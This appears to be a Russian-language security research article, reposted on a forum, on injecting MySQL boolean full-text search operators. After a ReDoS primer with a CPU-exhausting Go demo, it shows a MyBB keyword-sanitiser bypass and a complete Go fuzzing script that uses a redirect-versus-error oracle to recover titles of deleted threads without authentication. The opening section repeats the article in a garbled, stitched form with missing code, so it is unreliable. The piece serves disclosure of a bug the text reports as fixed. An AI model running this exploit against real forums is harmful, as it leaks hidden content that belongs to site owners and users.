stihl не предоставил(а) никакой дополнительной информации.
В течение многих лет атаки с использованием SQL-инъекций в основном сводились к попыткам нарушить синтаксис запросов. Однако с развитием инструментов акцент сместился на создание «крутых нагрузок» и разбор предупреждений SAST, которые многие игнорируют. Я же попробовал поискать возможность инъекции без экранирования — с мыслью о том, что на это у SAST или WAF не будет правил.
Так я нащупал новую технику для внедрения в регулярные выражения. Сначала я немного расскажу о традиционных методах, которые были нам известны раньше, затем перейдем к моим находкам. В ходе тестирования мне удалось вскрыть уязвимость в MyBB, которая позволяла просматривать названия удаленных тем без аутентификации.
Подстановочные знаки — это символы, которые заменяют собой ноль или более символов. В SQL для этого используют процент (%) и подчеркивание (_), а в regex — точку (.) и звездочку (*).
Операторы — это логические символы, например AND, OR, NOT, =, !=, <, >, >=, <=, +, -, *, /. При обработке данных оператор звездочка используется для расчетов, так что не путай их с подстановочными знаками.
Откат — это метод решения задач, при котором ты возвращаешься к предыдущей точке выбора (откат) в процессе и пробуешь другой вариант, если текущий путь не приводит к нужному результату. Это похоже на блуждание в лабиринте с множеством путей. Ты пробуешь один путь, но натыкаешься на тупик. Тогда ты откатываешься назад — возвращаешься к последнему перекрестку, где у тебя были другие варианты, — и пробуешь другое направление. Ты продолжаешь повторять этот процесс, пока не найдешь выход или не исчерпаешь все возможные пути.
Квантификатор указывает, сколько раз предыдущий элемент должен повториться, чтобы произошло совпадение.
Вложенные квантификаторы — это когда ты ставишь квантификатор (+, ?, *, {n,m}) не прямо к символу, а к подшаблону, который сам уже имеет квантификатор. То есть как бы «умножаешь повторения».
Например, просто написать p+?+ нельзя — такого синтаксиса нет. Чтобы добавить внешний квантификатор, нужно сначала взять подшаблон в скобки: (p+?). Тогда
А если поставить внешний квантификатор: (p+?)+, то это значит «подшаблон p+? (одна буква p) повторяется один или более раз».
На строке ppp:
ReDoS (Denial of Service через регулярные выражения) — это уязвимость, при которой неправильно составленное регулярное выражение позволяет злоумышленнику ввести такой текст, который заставляет движок выполнять много ненужных проверок, что значительно замедляет работу программы и вызывает отказ в обслуживании. Часто ReDoS возникает, если в регулярных выражениях используются вложенные квантификаторы.
Чтобы создать ReDoS-пейлоад, наш внутренний квантификатор должен захватывать как можно больше. Поэтому субпаттерн может выглядеть как a+ или a*. Если на входе будет aaaac, это совпадет с aaaa. Затем мы можем создать вложенный квантификатор, используя a* как субпаттерн, добавив квантификатор +. Таким образом, группа a* будет повторяться до успеха. Наше новое регулярное выражение: (a*)+.
Если на входе aaaac, то первое совпадение — это aaaa. Поскольку звездочка (*) означает «ноль или более», мы также получаем совпадения нулевой длины. Например, после того как aaaa найдено, есть пустое совпадение между aaaa и c и еще одно пустое совпадение после c, что в сумме дает три совпадения (два из которых пустые).
Мы можем добиться несоответствия после этих совпадений, изменив шаблон так, чтобы он ожидал строк, заканчивающихся на b, даже если наша строка заканчивается на c: (a*)+b, а наш ввод останется aaaac. Часть (a*)+ может соответствовать aaaac множеством способов, потому что a* может соответствовать нулю или более a, а квантификатор + позволяет провести несколько таких совпадений.
Каждый вариант того, как именно подшаблон (a*)+ может разобрать часть строки, называется его возможным результатом. Когда весь шаблон (a*)+b не совпадает сразу, движку приходится «отматывать назад» и пробовать другой результат для (a*)+, чтобы проверить, не получится ли продолжить совпадение и найти b.
или Зарегистрируйся поможет тебе в составлении и тестировании регулярных выражений.
Чем больше ввод, тем больше создается возможностей для обратного отслеживания, что может привести к потенциальной DoS-атаке.
Например (чисто для демонстрации), рассмотрим, как можно разделить aaaa на одну или несколько непустых групп a. Большинство движков регулярных выражений работает не совсем так, но зато наглядно видна концепция множества способов сопоставления.
Пример скрипта на Golang для демонстрации ReDoS:
package main
Ответ:
Рассмотрим такой запрос:
Использование подготовленных запросов или экранирование (preg_quote) не решат проблему. Если пользователь введет точку, то вся конструкция будет выглядеть следующим образом:
Входные данные: '.'
Обрезано: '.*'
Подготовлено для preg_quote() и экранировано: '.*'
Итоговый шаблон REGEXP: '^.*'
Такие проблемы легко решаются, если добавить колонку «видимость» или предусмотреть защиту от случаев с регулярными выражениями. Во многих приложениях обычно уже предусмотрены механизмы для предотвращения подобных ситуаций. Поэтому нам понадобится функция SQL, которая примет нашу «последовательность символов, указывающую шаблон сопоставления в тексте» (то есть регэкс), но которая не указана как regex-функция в документации MySQL.
Бэктики используются в командах REPAIR, EXPORT, OPTIMIZE, ANALYZE, TRUNCATE, ALTER и прочих. Это может показаться странным, но я считаю это проблемой неудачного проектирования, а не реализации. В функции C API mysql_real_escape_string_quote обратные апострофы экранируются, в то время как другие методы этого не делают. Перечисленное — всего лишь пример, так сказать, заметка на полях.
Настоящая сила кроется в функциях полнотекстового поиска. Они используются в большинстве программ, особенно часто — в блогах, системах управления обучением, форумах и прочих движках сайтов — для более продвинутого поиска.
Статья Википедии гласит:
MySQL поддерживает режим булева полнотекстового поиска с помощью специальных операторов булева режима. Синтаксис выглядит так:
Но прежде чем углубляться в это, вот простая таблица, показывающая разницу между привычными нам регулярными выражениями и операторами булева режима.
Пример запроса из документации MySQL, который показывает запросы, содержащие строку MySQL и не содержащие YourSQL:
Я думаю, ты теперь видишь проблему: нет особых мер, которые бы предотвращали выполнение этих специальных операторов (кастомных регулярных выражений), и сам запрос заключен в кавычки. Таким образом, мы нашли нечто, что:
Однако эти символы в булевом полнотекстовом поиске MySQL работают почти так же, как в регулярных выражениях, и могут серьезно повлиять на результат. Поэтому использование MATCH ... AGAINST может стать источником уязвимостей: оно не требует экранирования, обходится мимо стандартных проверок в защитном ПО и потенциально ведет к утечке данных.
Основной вектор атаки, на который стоит обратить внимание, — это функции поиска, особенно те, которые показывают имя, но не отображают содержимое или показывают количество документов с нужным содержимым, но не выводят их текст. В общем, всё, что может извлекать информацию о содержимом.
Давай попробуем проверить это на практике. Я скачал список опенсорсных веб‑приложений, которые используют базу данных, и обнаружил эту уязвимость в некоторых из них. Самое быстрое и единственное на данный момент исправление сделала команда MyBB (Для просмотра ссылки Войдиили Зарегистрируйся).
Прежде чем разберем ее, приведу список похожих функций в других системах управления базами данных.
или Зарегистрируйся. В своей тестовой среде я включил полнотекстовый поиск (FTS). Выставил значение «Время переполнения поиска (секунды)» на 0, чтобы облегчить себе работу, но наличие нескольких аккаунтов или использование прокси оказало бы тот же эффект (это значение не столь важно, оно лишь ускоряет работу уязвимости). У меня есть две удаленные темы с заголовками jackie chan и 0ce3266d4eb71ad50f7a90aee6d21dcd.
Функция perform_search_mysql_ft использует MATCH AGAINST при выполнении поиска.
Существует два основных варианта для сравнения: сообщение или тема. Но прежде чем углубляться в это, нужно понять, как передаются ключевые слова.
Сначала функция perform_search_mysql_ft берет ключевое слово и передает его в функцию clean_keywords_ft.
Как ты можешь заметить, тут используется \b (граница слова), которая встречается в следующих позициях:
Чтобы обойти это, я могу просто добавить ZZ в конце. Потому что .{1,2}$ соответствует последним одному или двум символам. И теперь, когда строка jack*ZZ, часть ZZ находится между «несловесным символом» () и «словесным символом» (ZZ). Таким образом, словесный символ (ZZ) заменяется и jack*ZZ превращается в jack.
После функции clean_keywords_ft наш ключевой запрос будет передан внутрь.
Итак, наша звездочка снова заменяется. Чтобы обойти это, я буду использовать два ключевых слова: первое — &&&&&. Это ничего не значит, мне просто нужно дополнительное ключевое слово, которое будет игнорироваться в MATCH AGAINST.
Этот вариант, похоже, работает. Я передаю &&&&& +jack*ZZ в качестве входных данных, чтобы это выражение преобразовалось в +&&&&& +jack*. Вторая звездочка не удаляется. Почему — понятно из кода ниже.
Массив $split_words будет таким:
Цикл foreach сначала обработает +&&&&& и превратит в &&&&&, потому что знаки плюс, минус и звездочка заменяются пустой строкой. Затем, если длина &&&&& меньше $minsearchword (которая равна 4 и была установлена внутри perform_search_mysql_ft), цикл foreach продолжится. В противном случае, если длина больше, $all_too_short станет false и цикл прервется. В нашем случае длина равна 5 и цикл прерывается, из‑за чего второе слово, +jack*, не будет заменено. Затем оно будет передано в MATCH AGAINST.
Запрос в базу данных:
Теперь самая важная часть:
Если ответа нет, откроется error_nosearchresults; в противном случае произойдет перенаправление на нужную страницу. Поэтому можно определить название, даже не видя его. Если при использовании jack* происходит перенаправление, это значит, что есть название, начинающееся с jack, иначе откроется error_nosearchresults.
Теперь в файле upload/search.php мы видим строку, указывающую, куда произойдет перенаправление. Дело в том, что мы бы не достигли этой строки, если бы ответ от MySQL был пустым.
Эту уязвимость можно использовать, применяя метод фаззинга. Логика такова: начинаем с a*, затем aa*, ab*, ac* и так далее. В реальной ситуации у злоумышленника могут быть несколько аккаунтов или прокси‑серверов. В тестовом окружении я просто выставляю «Время задержки поиска (в секундах)» в 0. Основной сценарий:
Полнотекстовый поиск и продвинутые поисковые операторы используются повсеместно и часто требуют минимальной валидации ввода. Поскольку продуктовые команды и разработчики привыкли доверять встроенным функциям СУБД, многие потенциально опасные сценарии остаются незамеченными до тех пор, пока кто‑то не проведет целенаправленный аудит или фаззинг.
Что делать, чтобы избежать таких атак:
Напоследок хочу поблагодарить команду MyBB и в особенности Devilshakerz за оперативное решение проблемы!
Так я нащупал новую технику для внедрения в регулярные выражения. Сначала я немного расскажу о традиционных методах, которые были нам известны раньше, затем перейдем к моим находкам. В ходе тестирования мне удалось вскрыть уязвимость в MyBB, которая позволяла просматривать названия удаленных тем без аутентификации.
Традиционные техники
В этом разделе разберем традиционные методы поиска уязвимостей, связанных с регулярками. Но прежде чем углубляться в детали, давай разберемся, чем отличаются регулярные выражения, подстановочные знаки и операторы.ReDoS (не про операционку)
Регулярное выражение (regex) — это последовательность символов, определяющая шаблон для поиска в текстах. Главное преимущество regex — это возможность задавать сложные шаблоны строк.Подстановочные знаки — это символы, которые заменяют собой ноль или более символов. В SQL для этого используют процент (%) и подчеркивание (_), а в regex — точку (.) и звездочку (*).
Операторы — это логические символы, например AND, OR, NOT, =, !=, <, >, >=, <=, +, -, *, /. При обработке данных оператор звездочка используется для расчетов, так что не путай их с подстановочными знаками.
Откат — это метод решения задач, при котором ты возвращаешься к предыдущей точке выбора (откат) в процессе и пробуешь другой вариант, если текущий путь не приводит к нужному результату. Это похоже на блуждание в лабиринте с множеством путей. Ты пробуешь один путь, но натыкаешься на тупик. Тогда ты откатываешься назад — возвращаешься к последнему перекрестку, где у тебя были другие варианты, — и пробуешь другое направление. Ты продолжаешь повторять этот процесс, пока не найдешь выход или не исчерпаешь все возможные пути.
Квантификатор указывает, сколько раз предыдущий элемент должен повториться, чтобы произошло совпадение.
Квантификатор | Значение | Регулярное выражение | Соответствие |
---|---|---|---|
* | Ноль или более раз | p* | пустая строка, p, ph, ... |
+ | Один или более раз | p+ | p, ph, phr |
? | Ноль или один раз | p? | пустая строка, p |
{n} | Ровно n раз | p{3} | ppp |
{n,} | n или более раз | p{2,} | pp, ppp, ... |
{n,m} | От n до m раз | p{2,4} | pp, ppp, pppp |
Например, просто написать p+?+ нельзя — такого синтаксиса нет. Чтобы добавить внешний квантификатор, нужно сначала взять подшаблон в скобки: (p+?). Тогда
- p+ означает «одна или больше букв p»;
- p+? (ленивый вариант) означает «возьми минимально возможное количество, но все равно хотя бы одну p». На строке ppp это даст три совпадения по одной p.
А если поставить внешний квантификатор: (p+?)+, то это значит «подшаблон p+? (одна буква p) повторяется один или более раз».
На строке ppp:
- внутренний шаблон берет по одной p за раз;
- внешний + заставляет повторять процесс, пока есть буквы;
- итоговое совпадение целиком — ppp;
- а группа (скобки) «помнит» только последний результат подшаблона, то есть одну p.
Шаблон | Значение шаблона | Регулярное выражение | Результат совпадения |
---|---|---|---|
(...) | группирует подшаблон | (p+?)+ | "ppp" (совпадение с шаблоном), "p" (совпадение с группой) |
ReDoS (Denial of Service через регулярные выражения) — это уязвимость, при которой неправильно составленное регулярное выражение позволяет злоумышленнику ввести такой текст, который заставляет движок выполнять много ненужных проверок, что значительно замедляет работу программы и вызывает отказ в обслуживании. Часто ReDoS возникает, если в регулярных выражениях используются вложенные квантификаторы.
Чтобы создать ReDoS-пейлоад, наш внутренний квантификатор должен захватывать как можно больше. Поэтому субпаттерн может выглядеть как a+ или a*. Если на входе будет aaaac, это совпадет с aaaa. Затем мы можем создать вложенный квантификатор, используя a* как субпаттерн, добавив квантификатор +. Таким образом, группа a* будет повторяться до успеха. Наше новое регулярное выражение: (a*)+.
Если на входе aaaac, то первое совпадение — это aaaa. Поскольку звездочка (*) означает «ноль или более», мы также получаем совпадения нулевой длины. Например, после того как aaaa найдено, есть пустое совпадение между aaaa и c и еще одно пустое совпадение после c, что в сумме дает три совпадения (два из которых пустые).
Мы можем добиться несоответствия после этих совпадений, изменив шаблон так, чтобы он ожидал строк, заканчивающихся на b, даже если наша строка заканчивается на c: (a*)+b, а наш ввод останется aaaac. Часть (a*)+ может соответствовать aaaac множеством способов, потому что a* может соответствовать нулю или более a, а квантификатор + позволяет провести несколько таких совпадений.
Каждый вариант того, как именно подшаблон (a*)+ может разобрать часть строки, называется его возможным результатом. Когда весь шаблон (a*)+b не совпадает сразу, движку приходится «отматывать назад» и пробовать другой результат для (a*)+, чтобы проверить, не получится ли продолжить совпадение и найти b.
www
Сайт Для просмотра ссылки ВойдиЧем больше ввод, тем больше создается возможностей для обратного отслеживания, что может привести к потенциальной DoS-атаке.
Например (чисто для демонстрации), рассмотрим, как можно разделить aaaa на одну или несколько непустых групп a. Большинство движков регулярных выражений работает не совсем так, но зато наглядно видна концепция множества способов сопоставления.
Код:
1: ("aaaa")
2: ("aaa")("a")
3: ("aa")("aa")
4: ("a")("aaa")
5: ("aa")("a")("a")
6: ("a")("aa")("a")
7: ("a")("a")("aa")
8: ("a")("a")("a")("a")
Шаблон | Описание | Ввод |
---|---|---|
(a*)+b | a+ внутри (1 или более a), снаружи (...)+ повторяется | aaaac |
package main
Код:
import (
"fmt"
"os"
"os/exec"
"os/signal"
"strings"
"syscall"
"time"
"github.com/dlclark/regexp2"
)
func main() {
fmt.Println("Демонстрация ReDoS")
count := 200
pid := os.Getpid()
re := regexp2.MustCompile((a*)+b, 0)
input := strings.Repeat("a", count) + "c"
sigs := make(chan os.Signal, 1)
signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)
done := make(chan struct{})
go func() { <-sigs; close(done); os.Exit(0) }()
go func() { re.MatchString(input); close(done) }()
for {
select {
case <-done:
return
default:
out, _ := exec.Command("ps", "-p", fmt.Sprintf("%d", pid),
"-o", "%cpu=").Output()
cpu := strings.TrimSpace(string(out))
fmt.Printf("Использование CPU: %s\n", cpu)
time.Sleep(500 * time.Millisecond)
}
}
}
Код:
khatai@5df0825ade8a tmp % go run main.go
ReDoS PoC
CPU usage: 0.0
CPU usage: 80.2
CPU usage: 97.7
CPU usage: 100.0
CPU usage: 100.0
REGEXP, RLIKE и другие способы поиска в строках
Регэксы встречаются не только в приложениях, но и в СУБД — для поиска строк в базах данных. Возьмем, к примеру, команду REGEXP из MySQL. Она сама по себе может привести к утечке информации, и здесь не помогут подготовленные запросы, поскольку проблема не в самих регулярных выражениях. Все сводится к небезопасной реализации.Рассмотрим такой запрос:
SELECT Name FROM Data WHERE Content REGEXP '^?'
Использование подготовленных запросов или экранирование (preg_quote) не решат проблему. Если пользователь введет точку, то вся конструкция будет выглядеть следующим образом:
Входные данные: '.'
Обрезано: '.*'
Подготовлено для preg_quote() и экранировано: '.*'
Итоговый шаблон REGEXP: '^.*'
SELECT Name FROM Data WHERE Content REGEXP '^.*';
Такие проблемы легко решаются, если добавить колонку «видимость» или предусмотреть защиту от случаев с регулярными выражениями. Во многих приложениях обычно уже предусмотрены механизмы для предотвращения подобных ситуаций. Поэтому нам понадобится функция SQL, которая примет нашу «последовательность символов, указывающую шаблон сопоставления в тексте» (то есть регэкс), но которая не указана как regex-функция в документации MySQL.
Небезопасные «безопасные» реализации
Давай возьмем в качестве примера real_escape_string; все вроде бы хорошо, кроме того, что она заэкранирует одинарные и двойные кавычки. Но если посмотреть на функции вроде backup, ты заметишь, что в большинстве систем они не используют ни одинарные, ни двойные кавычки и вместо этого принимают имена таблиц в обратных апострофах (бэктиках).Бэктики используются в командах REPAIR, EXPORT, OPTIMIZE, ANALYZE, TRUNCATE, ALTER и прочих. Это может показаться странным, но я считаю это проблемой неудачного проектирования, а не реализации. В функции C API mysql_real_escape_string_quote обратные апострофы экранируются, в то время как другие методы этого не делают. Перечисленное — всего лишь пример, так сказать, заметка на полях.
Настоящая сила кроется в функциях полнотекстового поиска. Они используются в большинстве программ, особенно часто — в блогах, системах управления обучением, форумах и прочих движках сайтов — для более продвинутого поиска.
Статья Википедии гласит:
При выполнении полнотекстового поиска (или FTS) системы управления базами данных используют специальные символы с определенными значениями. Эти символы также задают шаблон поиска, который определяет регулярное выражение, но не простое, а особое.Полнотекстовый поиск относится к методам поиска в отдельном документе, хранящемся на компьютере, или в коллекции в полнотекстовой базе данных.
MySQL поддерживает режим булева полнотекстового поиска с помощью специальных операторов булева режима. Синтаксис выглядит так:
MATCH (col1,col2,...) AGAINST (expr [search_modifier])
Но прежде чем углубляться в это, вот простая таблица, показывающая разницу между привычными нам регулярными выражениями и операторами булева режима.
Символ | Обычный регулярный | Режим булевой логики MySQL |
---|---|---|
+ | Один или более | Слово должно присутствовать |
- | Без специального значения | Слово не должно присутствовать |
* | Ноль или более | Универсальный символ |
^ | Начало строки или линии | Без специального значения |
$ | Конец строки или линии | Без специального значения |
. | Универсальный символ | Без специального значения |
() | Группировка подпаттернов | Группировка подвыражений |
[] | Любой символ из набора | Без специального значения |
{n,m} | От n до m | Без специального значения |
"" | Без специального значения | Точная последовательность слов |
< | Без специального значения | Увеличивает вес термина |
> | Без специального значения | Уменьшает вес термина |
~ | Без специального значения | То же, что и уменьшение веса |
Код:
mysql> SELECT * FROM articles WHERE MATCH (title,body)
-> AGAINST ('+MySQL -YourSQL' IN BOOLEAN MODE);
Я думаю, ты теперь видишь проблему: нет особых мер, которые бы предотвращали выполнение этих специальных операторов (кастомных регулярных выражений), и сам запрос заключен в кавычки. Таким образом, мы нашли нечто, что:
- не требует экранирования;
- не обнаруживается ни WAF, ни SAST, ни DAST, ни другими средствами;
- может привести к утечке данных.
Однако эти символы в булевом полнотекстовом поиске MySQL работают почти так же, как в регулярных выражениях, и могут серьезно повлиять на результат. Поэтому использование MATCH ... AGAINST может стать источником уязвимостей: оно не требует экранирования, обходится мимо стандартных проверок в защитном ПО и потенциально ведет к утечке данных.
Основной вектор атаки, на который стоит обратить внимание, — это функции поиска, особенно те, которые показывают имя, но не отображают содержимое или показывают количество документов с нужным содержимым, но не выводят их текст. В общем, всё, что может извлекать информацию о содержимом.
Давай попробуем проверить это на практике. Я скачал список опенсорсных веб‑приложений, которые используют базу данных, и обнаружил эту уязвимость в некоторых из них. Самое быстрое и единственное на данный момент исправление сделала команда MyBB (Для просмотра ссылки Войди
Прежде чем разберем ее, приведу список похожих функций в других системах управления базами данных.
DBMS | Функция/предикат полнотекстового поиска |
---|---|
MySQL | MATCH(col) AGAINST ('+python -java' IN BOOLEAN MODE) |
PostgreSQL | to_tsvector(col) @@ to_tsquery('python & !java') или @@ websearch_to_tsquery('python -java') |
SQL Server | CONTAINS(col, ' "python" AND NOT "java" ') |
Oracle DB | CONTAINS(col, 'python AND NOT java') > 0 |
IBM Db2 | CONTAINS(col, '"python" & !"java"') = 1 |
Разбираем кейс MyBB
Давай разберемся с MyBB и Для просмотра ссылки ВойдиИдентификация
Удаленные потоки видны администратору при поиске, и функция поиска такая же для админа, как и для пользователя. Так что вопрос в том, что именно будет видно.Функция perform_search_mysql_ft использует MATCH AGAINST при выполнении поиска.
Код:
/inc/functions_search.php
$message_lookin = "AND MATCH(message) AGAINST('" .
$db->escape_string($keywords) . "' IN BOOLEAN MODE)";
$subject_lookin = "AND MATCH(subject) AGAINST('" .
$db->escape_string($keywords) . "' IN BOOLEAN MODE)";
Сначала функция perform_search_mysql_ft берет ключевое слово и передает его в функцию clean_keywords_ft.
Код:
/inc/functions_search.php
function perform_search_mysql_ft($search)
{
global $mybb, $db, $lang;
// Очищаем ключевые слова для полнотекстового поиска
$keywords = clean_keywords_ft($search['keywords']);
Идеальная защита от очистки данных
Я ищу jack*. Мой запрос jack* превратился в jack. Чтобы понять, почему так получилось, давай посмотрим на саму функцию clean_keywords_ft. В базовом регулярном выражении:(\b.{1,2})(\s)|(\b.{1,2}$)
Как ты можешь заметить, тут используется \b (граница слова), которая встречается в следующих позициях:
- между «символьным» и «несимвольным» знаками (например, *, (, +, пробел и так далее, то есть всё, что не \w);
- между «несимвольным» и «символьным» знаками;
- в начале строки, если первый символ — \w;
- в конце строки, если последний символ — \w.
Чтобы обойти это, я могу просто добавить ZZ в конце. Потому что .{1,2}$ соответствует последним одному или двум символам. И теперь, когда строка jack*ZZ, часть ZZ находится между «несловесным символом» () и «словесным символом» (ZZ). Таким образом, словесный символ (ZZ) заменяется и jack*ZZ превращается в jack.
После функции clean_keywords_ft наш ключевой запрос будет передан внутрь.
Код:
/inc/functions_search.php — это файл с функциями для поиска
$word = str_replace(array("+", "-", "*"), '', $word);
Код:
mysql> SELECT t.tid, t.firstpost FROM mybb_threads t WHERE 1=1 AND
-> MATCH(subject) AGAINST('+&&&&& +jack*' IN BOOLEAN MODE);
+-----+-----------+
| tid | firstpost |
+-----+-----------+
| 2 | 2 |
+-----+-----------+
1 row in set (0.00 sec)
Этот вариант, похоже, работает. Я передаю &&&&& +jack*ZZ в качестве входных данных, чтобы это выражение преобразовалось в +&&&&& +jack*. Вторая звездочка не удаляется. Почему — понятно из кода ниже.
Код:
/inc/functions_search.php
function perform_search_mysql_ft($search)
{
global $mybb, $db, $lang;
$keywords = clean_keywords_ft($search['keywords']);
if($mybb->settings['minsearchword'] < 1)
{
$mybb->settings['minsearchword'] = 4;
}
$message_lookin = $subject_lookin = '';
if($keywords)
{
$keywords_exp = explode(""", $keywords);
$inquote = false;
foreach($keywords_exp as $phrase)
{
if(!$inquote)
{
$split_words = preg_split("#\s{1,}#", $phrase, -1);
foreach($split_words as $word)
{
$word = str_replace(array("+", "-", "*"), '', $word);
if(!$word)
{
continue;
}
if(my_strlen($word) < $mybb->settings['minsearchword'])
{
$all_too_short = true;
}
else
{
$all_too_short = false;
break;
}
}
}
}
}
}
Массив $split_words будет таким:
0 => "+&&&&&", 1 => "+jack*"
Цикл foreach сначала обработает +&&&&& и превратит в &&&&&, потому что знаки плюс, минус и звездочка заменяются пустой строкой. Затем, если длина &&&&& меньше $minsearchword (которая равна 4 и была установлена внутри perform_search_mysql_ft), цикл foreach продолжится. В противном случае, если длина больше, $all_too_short станет false и цикл прервется. В нашем случае длина равна 5 и цикл прерывается, из‑за чего второе слово, +jack*, не будет заменено. Затем оно будет передано в MATCH AGAINST.
Эксплуатация
Как видишь, в ответе на запрос отображаются tid и firstpost. Это работает для заголовка, но не для содержимого из‑за p.visible = 1 и t.visible = 1. Но об этом мы поговорим позже.
Код:
/inc/функции_поиска.php
else
{
$query = $db->query("
SELECT t.tid, t.firstpost
FROM ".TABLE_PREFIX."threads t
WHERE 1=1 {$thread_datecut} {$thread_replycut}
{$thread_prefixcut} {$forumin} {$thread_usersql} {$permsql}
{$visiblesql} {$subject_lookin}
{$limitsql}
");
while($thread = $db->fetch_array($query))
{
$threads[$thread['tid']] = $thread['tid'];
if($thread['firstpost'])
{
$firstposts[$thread['tid']] = $thread['firstpost'];
}
}
if(count($threads) < 1)
{
error($lang->error_nosearchresults);
}
$threads = implode(',', $threads);
$firstposts = implode(',', $firstposts);
if($firstposts)
{
$query = $db->simple_select("posts", "pid", "pid IN
($firstposts) {$plain_post_visiblesql} {$limitsql}");
while($post = $db->fetch_array($query))
{
$posts[$post['pid']] = $post['pid'];
}
$posts = implode(',', $posts);
}
}
return array(
"threads" => $threads,
"posts" => $posts,
"querycache" => ''
);
Запрос в базу данных:
Код:
mysql> SELECT t.tid, t.firstpost FROM mybb_threads t WHERE 1=1 AND
-> MATCH(subject) AGAINST('+&&&&& +jack*' IN BOOLEAN MODE);
+-----+-----------+
| tid | firstpost |
+-----+-----------+
| 2 | 2 |
+-----+-----------+
1 row in set (0.00 sec)
Теперь самая важная часть:
Код:
/inc/functions_search.php
if(count($threads) < 1)
{
// Сообщаем об ошибке, если не найдено результатов поиска
error($lang->error_nosearchresults);
}
Если ответа нет, откроется error_nosearchresults; в противном случае произойдет перенаправление на нужную страницу. Поэтому можно определить название, даже не видя его. Если при использовании jack* происходит перенаправление, это значит, что есть название, начинающееся с jack, иначе откроется error_nosearchresults.
Теперь в файле upload/search.php мы видим строку, указывающую, куда произойдет перенаправление. Дело в том, что мы бы не достигли этой строки, если бы ответ от MySQL был пустым.
Загрузка и поиск данных
Код:
redirect("search.php?action=results&sid=" .
$sid . "&sortby=" . $sortby . "&order=" .
$sortorder, $lang->redirect_searchresults);
Эту уязвимость можно использовать, применяя метод фаззинга. Логика такова: начинаем с a*, затем aa*, ab*, ac* и так далее. В реальной ситуации у злоумышленника могут быть несколько аккаунтов или прокси‑серверов. В тестовом окружении я просто выставляю «Время задержки поиска (в секундах)» в 0. Основной сценарий:
Код:
package main
import (
"fmt"
"io"
"net/http"
"os"
"strings"
)
const fuzzChars = "abcdefghijklmnopqrstuvwxyz0123456789"
const queryTemplate = "search.php?action=do_search&keywords=%26%26%26%26%26" +
"+%2B{FUZZ}*xD&postthread=2&author=&matchusername=1&forums%5B%5D=all" +
"&findthreadst=1&numreplies=&postdate=0&pddir=1&sortby=lastpost" +
"&sortordr=desc&showresults=threads&submit=Search"
const successIndicator = "end: redirect"
const maxFuzzPayloadLength = 50
func min(a, b int) int {
if a < b {
return a
}
return b
}
func main() {
if len(os.Args) < 2 {
fmt.Fprintln(os.Stderr, "Usage: go run test.go <base_url>")
fmt.Fprintln(os.Stderr, "Example: go run test.go http://127.0.0.1")
os.Exit(1)
}
baseURL := strings.TrimSuffix(os.Args[1], "/")
fmt.Printf("Целевая базовая URL: %s\n", baseURL)
fmt.Printf("Символы для тестирования: %s\n", fuzzChars)
fmt.Printf("Максимальная длина нагрузки для тестирования: %d\n", maxFuzzPayloadLength)
fmt.Println("---")
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return nil
},
}
var allFoundSuccessfulPayloads []string
var payloadsToTestThisRound []string
for _, charRune := range fuzzChars {
payloadsToTestThisRound = append(payloadsToTestThisRound,
string(charRune))
}
for currentLength := 1; currentLength <= maxFuzzPayloadLength;
currentLength++ {
if len(payloadsToTestThisRound) == 0 {
fmt.Printf("Нет больше нагрузок для тестирования. Останавливаемся, так как не сгенерировано нагрузок для длины %d.\n", currentLength)
break
}
fmt.Printf("--- Тестируем нагрузки длиной %d (найдено %d для тестирования) ---\n", currentLength, len(payloadsToTestThisRound))
var successfulPayloadsFoundThisRound []string
for _, fuzzPayload := range payloadsToTestThisRound {
fuzzedQuery := strings.Replace(queryTemplate, "{FUZZ}",
fuzzPayload, 1)
fullURL := baseURL + "/" + fuzzedQuery
urlToPrint := fullURL
if len(urlToPrint) > 120 {
urlToPrint = urlToPrint[:117] + "..."
}
fmt.Printf("Тестируем нагрузку: '%s' (URL: %s)\n", fuzzPayload,
urlToPrint)
req, err := http.NewRequest("GET", fullURL, nil)
if err != nil {
fmt.Fprintf(os.Stderr, " Ошибка создания запроса для нагрузки '%s': %v\n", fuzzPayload, err)
continue
}
resp, err := client.Do(req)
if err != nil {
fmt.Fprintf(os.Stderr, " Ошибка выполнения GET запроса для нагрузки '%s': %v\n", fuzzPayload, err)
continue
}
bodyBytes, err := io.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
fmt.Fprintf(os.Stderr, " Ошибка чтения тела ответа для нагрузки '%s': %v\n", fuzzPayload, err)
continue
}
bodyString := string(bodyBytes)
if strings.Contains(bodyString, successIndicator) {
fmt.Printf(" УСПЕХ! Нагрузка: '%s' (Статус: %s). Ответ содержит '%s'.\n", fuzzPayload, resp.Status,
successIndicator)
allFoundSuccessfulPayloads = append(allFoundSuccessfulPayloads,
fuzzPayload)
successfulPayloadsFoundThisRound =
append(successfulPayloadsFoundThisRound, fuzzPayload)
}
}
if currentLength < maxFuzzPayloadLength {
if len(successfulPayloadsFoundThisRound) == 0 {
fmt.Printf("Не найдено успешных нагрузок при длине %d. Останавливаем дальнейшие итерации.\n", currentLength)
payloadsToTestThisRound = []string{}
} else {
var nextPayloads []string
for _, prefix := range successfulPayloadsFoundThisRound {
for _, charRune := range fuzzChars {
nextPayloads = append(nextPayloads,
prefix+string(charRune))
}
}
payloadsToTestThisRound = nextPayloads
if len(payloadsToTestThisRound) == 0 &&
len(successfulPayloadsFoundThisRound) > 0 {
fmt.Println("Предупреждение: Сгенерирован пустой набор следующих нагрузок, несмотря на успехи в текущем раунде. Это может произойти, если fuzzChars пуст. Останавливаемся.")
break
}
}
} else {
fmt.Printf("Достигнута максимальная длина нагрузки %d.\n",
maxFuzzPayloadLength)
}
}
fmt.Println("--- Тестирование завершено ---")
if len(allFoundSuccessfulPayloads) > 0 {
fmt.Printf("Найдено %d успешных нагрузок:\n", len(allFoundSuccessfulPayloads))
for _, p := range allFoundSuccessfulPayloads {
fmt.Printf(" - %s\n", p)
}
} else {
fmt.Println("Никаких успешных нагрузок не найдено.")
}
}
Выводы
